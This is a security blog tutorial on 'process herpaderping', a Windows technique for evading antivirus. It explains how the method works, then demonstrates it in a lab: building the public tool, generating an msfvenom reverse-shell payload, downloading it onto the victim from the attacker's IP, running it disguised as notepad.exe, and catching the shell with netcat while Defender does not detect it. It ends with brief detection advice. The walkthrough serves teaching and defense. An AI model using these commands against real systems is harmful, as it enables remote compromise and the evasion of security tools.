# **Process Herpaderping (Mitre:T1055)**



hackingarticles.in/process-herpaderping-mitret1055

Raj April 24, 2022

### Introduction

**Johnny Shaw** demonstrated a defense evasion technique known as process herpaderping in which an attacker is able to inject malicious code into the mapped memory segment of a legit process before the inspection of the created process actually begins. This helps an attacker in bypassing defenses and also privilege escalation. While MITRE hasn't associated a sub-ID to the technique, we deemed it appropriate to write the article under process injection and defense evasion methods.

MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)

MITRE Technique ID: Process Injection (T1055)

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# **Background**

A windows callback PsSetCreateProcessNotifyRoutineEx is used by security products to take action when a new process is mapped on the memory and determines if process should be allowed to execute (if it is safe or not)

However, the actual AV inspection begins only when the first thread of the respective process is initiated and not when process object is created.

This creates a window of opportunity for an attacker to create and map a process, then change the file's content and thereafter create initial thread.

# **Process Herpaderping**

Herpaderping is an English slang which defines a person who is often made fun of due to their obliviousness. Johnny Shaw created a technique called Process Herpaderping which is used to evade anti-virus/defense mechanisms by modifying the contents of a file after its mapped in memory but before first thread is initiated. The AV is unable to determine if execution should continue or be stopped as the file behind the process has now changed. The original write-up, which is very clearly written, can be found **here**.

Steps followed are:

- Create a target file (benign file like cmd.exe) and keep the file handle open.
- Map the file as an image section

# NtCreateSection with SEC\_IMAGE flag set

Create the process object using the section handle

#### **NtCreateProcessEx**

- Copy our payload and then using the previously open file handle, obscure the payload on disk.
- Create the initial thread in the process

#### **NtCreateThreadEx**

At this point the process creation callback (**PsSetCreateProcessNotifyRoutineEx**) in the kernel will trigger and the contents on disk would not match what was mapped. Inspection of the file at this point will result in incorrect attribution.

Close the handle so that execution can begin properly

# IRP\_MJ\_CLEANUP

Since contents of what is being executed are hidden, inspection at this point will result in incorrect attribution.

### **Demonstration**

The official source code can be downloaded from <u>here</u>. All the submodules have to be included as well so follow the following procedure to effectively download the code using git.

git clone https://github.com/jxy-s/herpaderping.git cd .\herpaderping git submodule update --init --recursive

```
C:\Users\a_cha\Desktop>git clone https://github.com/jxy-s/herpaderping.git
Cloning into 'herpaderping'...
remote: Enumerating objects: 204, done.
remote: Counting objects: 100% (35/35), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 204 (delta 32), reused 29 (delta 29), pack-reused 169
Receiving objects: 100% (204/204), 23.36 MiB | 11.13 MiB/s, done.
Resolving deltas: 100% (101/101), done.

C:\Users\a_cha\Desktop>cd .\herpaderping

C:\Users\a_cha\Desktop>cd .\herpaderping

C:\Users\a_cha\Desktop\herpaderping>git submodule update --init --recursive

Submodule 'ext/submodules/phnt' (https://github.com/processhacker/phnt) registered for path 'ext/submodules/phnt'
Submodule 'ext/submodules/wil' (https://github.com/microsoft/wil) registered for path 'ext/submodules/wil'
Cloning into 'C:/Users/a_cha/Desktop/herpaderping/ext/submodules/phnt'...
Cloning into 'C:/Users/a_cha/Desktop/herpaderping/ext/submodules/wil'...
Submodule path 'ext/submodules/phnt': checked out 'daab013f48e5a15ce05697857f4c449f20f1ba7d'
Submodule path 'ext/submodules/wil': checked out '3c00e7f1d8cf9930bbb8e5be3ef0df65c84e8928'
```

It can now be compiled for release using Visual Studio (I used VS 2022). I forked the repo and uploaded compiled binary for your ease of access <u>here</u>. It can now be run using cmd to check if its working.

```
::\Users\a cha\Desktop\herpaderping\build\Release.x64>ProcessHerpaderping.exe
Process Herpaderping Tool - Copyright (c) 2020 Johnny Shaw
ProcessHerpaderping.exe SourceFile TargetFile [ReplacedWith] [Options...]
                           Source file to execute.
 SourceFile
 TargetFile
                           Target file to execute the source from.
 ReplacedWith
                           File to replace the target with. Optional,
                           default overwrites the binary with a pattern.
                           Prints tool usage.
 -h,--help
 -d,--do-not-wait
                           Does not wait for spawned process to exit,
                           default waits.
 -1,--logging-mask number Specifies the logging mask, defaults to full
                           logging.
                               0x1
                                     Successes
                               0x2
                                     Informational
                               0x4
                                     Warnings
                               0x8
                                     Errors
                               0x10 Contextual
 -q,--quiet
                           Runs quietly, overrides logging mask, no title.
 -r,--random-obfuscation
                          Uses random bytes rather than a pattern for
                           file obfuscation.
 -e,--exclusive
                           Target file is created with exclusive access and
                           the handle is held open as long as possible.
                           Without this option the handle has full share
                           access and is closed as soon as possible.
                           Does not flush file after overwrite.
 -u,--do-not-flush-file
```

Now, our payload can be executed using a simple command like this:

ProcessHerpaderping.exe payload\_file target\_file

We can use the third option as well but not right now. Let's create a payload first.

msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > payload.exe

Now we can transfer the executable and payload to our victim.

powershell wget 192.168.0.89/payload.exe -O payload.exe

```
C:\Users\Public>ProcessHerpaderping.exe
ProcessHerpaderping.exe
Process Herpaderping Tool - Copyright (c) 2020 Johnny Shaw
ProcessHerpaderping.exe SourceFile TargetFile [ReplacedWith] [Options ... ]
Usage:
  SourceFile
                           Source file to execute.
  TargetFile
                           Target file to execute the source from.
  ReplacedWith
                           File to replace the target with. Optional,
                           default overwrites the binary with a pattern.
  -h,--help
                           Prints tool usage.
  -d,--do-not-wait
                           Does not wait for spawned process to exit,
                           default waits.
  -l,--logging-mask number Specifies the logging mask, defaults to full
                           logging.
                               0×1
                                     Successes
                               0×2
                                     Informational
                               0×4
                                     Warnings
                               0×8
                                     Errors
                               0×10 Contextual
                           Runs quietly, overrides logging mask, no title.
  -q,--quiet
                           Uses random bytes rather than a pattern for
  -r,--random-obfuscation
                           file obfuscation.
                           Target file is created with exclusive access and
  -e,--exclusive
                           the handle is held open as long as possible.
                           Without this option the handle has full share
                           access and is closed as soon as possible.
                           Does not flush file after overwrite.
  -u, -- do-not-flush-file
                           Closes file before thread creation (before the
  -c,--close-file-early
                           process notify callback fires in the kernel).
                           Not valid with "--exclusive" option.
  -k,--kill
                           Terminates the spawned process regardless of
                           success or failure, this is useful in some
                           automation environments. Forces "--do-not-wait
                           option.
                           Target file is created as a directory then the
  -i, -- directory
                           source is written to an ASD on that directory.
                           The ADS is then mapped and executed.
C:\Users\Public>powershell wget 192.168.0.89/payload.exe -O payload.exe
powershell wget 192.168.0.89/payload.exe -O payload.exe
```

Once the payload has been transferred successfully, we can run the process Herpaderping executable to run our payload hidden under some other legit executable, like notepad.exe

ProcessHerpaderping.exe payload.exe notepad.exe

```
C:\Users\Public>powershell wget 192.168.0.89/payload.exe -O payload.exe
powershell wget 192.168.0.89/payload.exe -O payload.exe
C:\Users\Public>ProcessHerpaderping.exe payload.exe notepad.exe
ProcessHerpaderping.exe payload.exe notepad.exe
Process Herpaderping Tool - Copyright (c) 2020 Johnny Shaw
[2580:7076][OK] Source File: "payload.exe"
[2580:7076][OK] Target File: "notepad.exe"
[2580:7076][INFO] Copied source binary to target file
[2580:7076][INFO] Created image section for target
[2580:7076][INFO] Created process object, PID 3852
[2580:7076][INFO] Located target image entry RVA 0×00004000
[2580:7076][OK] Overwriting target with pattern
[2580:7076][OK] Preparing target for execution
[2580:7076][INFO] Writing process parameters, remote PEB ProcessParameters 0×0000000000023F020
[2580:7076][INFO] Creating thread in process at entry point 0×0000000140004000
[2580:7076][INFO] Created thread, TID 540
[2580:7076][INFO]
[2580:7076][INFO]
[2580:7076][OK]
                           Waiting for herpaderped process to exit
[2580:7076][OK]
                          Herpaderped process exited with code 0×00000000
[2580:7076][OK]
                           Process Herpaderp Succeeded
C:\Users\Public>
```


As you can see, we now must have received a reverse shell on port 1234 (as our payload suggested). This indicates a successfully herpaderp of our payload under notepad.exe

```
(root@kali)-[~]
# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.95] 1154
Microsoft Windows [Version 10.0.17763.316]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
desktop-s5gopmo\hex
C:\Users\Public>
```

Also, in the victim system, one can re-affirm that defender is activated and has not detected our payload as malicious when it is run!

# Windows Security



Upon inspecting this attack in process explorer on the victim system, you should get suspicious if you see suspicious child processes spawning out of legit executables. Here, cmd.exe is spawning out of notepad.exe which doesn't allow the running of executables indicating a process injection attack!

- hexplorer.exe	2.53	78,016 K	140,928 K	4256 Windows Explorer
SecurityHealthSystray.exe		1,836 K	8,240 K	6740 Windows Security notificati
vm vmtoolsd.exe	0.36	31,592 K	47,876 K	7012 VMware Tools Core Service
cmd.exe		2,760 K	3,888 K	4000 Windows Command Proce
conhost.exe		7,272 K	18,812 K	884 Console Window Host
nc64.exe	< 0.01	900 K	3,684 K	6976
cmd.exe		3,408 K	4,076 K	5128 Windows Command Proce
🔲 📻 ProcessHerpaderpin		516 K	2,224 K	6108 Process Herpaderping To
notepad.exe		528 K	2,224 K	5140
— cmd.exe		4,120 K	3,528 K	7704 Windows Command Proce
conhost.exe		7,020 K	15,692 K	7480 Console Window Host
procexp64.exe	2.53	22,568 K	39,904 K	3388 Sysinternals Process Expl

## **Detection**

- AV's signatures can be updated to detect known functions like IRP\_MJ\_CLEANUP or NtCreateProcessEx and then further conduct behaviour analysis to block process injection during runtime.
- PsSetCreateThreadNotifyRoutineExshould be used instead of PsSetCreateProcessNotifyRoutineEx as the former one callback at the time of thread insertion as opposed to when thread begins executing.
- Sysinternal's suite Sysmon can detect process tampering. Download **here**.

### Conclusion

The article discussed a defense evasion technique called Process Herpaderping which is a method of obscuring the true intentions of a process by modifying the content on disk after the image has been mapped but before it starts executing. This confuses the security products like Defender and returns in incorrect attribution, yet, the payload gets executed nevertheless. A short demonstration was also included as a PoC. Hope you liked the article. Thanks for reading.

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